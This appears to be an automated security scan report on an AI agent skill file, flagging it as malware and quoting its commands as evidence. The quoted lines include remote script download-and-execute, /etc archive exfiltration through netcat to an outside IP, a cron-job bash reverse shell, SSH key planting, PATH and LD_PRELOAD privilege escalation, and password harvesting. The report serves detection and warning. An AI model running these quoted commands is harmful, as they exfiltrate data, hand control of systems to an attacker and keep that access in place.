Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill provides explicit instructions for downloading and executing shell scripts from external, untrusted sources directly into a shell interpreter.
- Evidence:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bashinSKILL.md. - Evidence:
curl http://10.10.10.10:8000/exploit.sh -o exploit.shfollowed by execution instructions inSKILL.md. - [DATA_EXFILTRATION]: The skill contains commands specifically designed to package sensitive system directories and transmit them to external network addresses.
- Evidence: `tar czf
- /etc | base64 | nc 10.10.10.10 4444
inSKILL.md`. - Evidence: Commands to find and copy all PDF files to a 'loot' directory for exfiltration.
- [PERSISTENCE]: The instructions detail methods for maintaining access to a compromised system across sessions.
- Evidence: Creating a cron job that executes a reverse shell every minute:
(crontab -l; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'") | crontab -. - Evidence: Instructions for installing unauthorized SSH keys into
~/.ssh/authorized_keys. - [COMMAND_EXECUTION]: The skill provides numerous examples of reverse shell commands designed to grant remote control to an attacker.
- Evidence:
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1. - Evidence: Python and Perl one-liners for interactive socket-based shell access.
- [PRIVILEGE_ESCALATION]: The skill documents several techniques to bypass security restrictions and gain root access, including environment manipulation.
- Evidence: PATH hijacking via
export PATH=/tmp:$PATH. - Evidence: Exploiting
LD_PRELOADwith malicious shared objects to gain elevated privileges. - [CREDENTIALS_UNSAFE]: The skill includes instructions for searching the filesystem and command history for hardcoded secrets and passwords.
- Evidence:
grep -r "password" /etcand harvesting credentials from.bash_history.
Recommendations
- HIGH: Downloads and executes remote code from: http://10.10.10.10:8000/exploit.sh, https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
- CRITICAL: 2 file(s) identified as malware by FileRep - DO NOT USE
- AI detected serious security threats
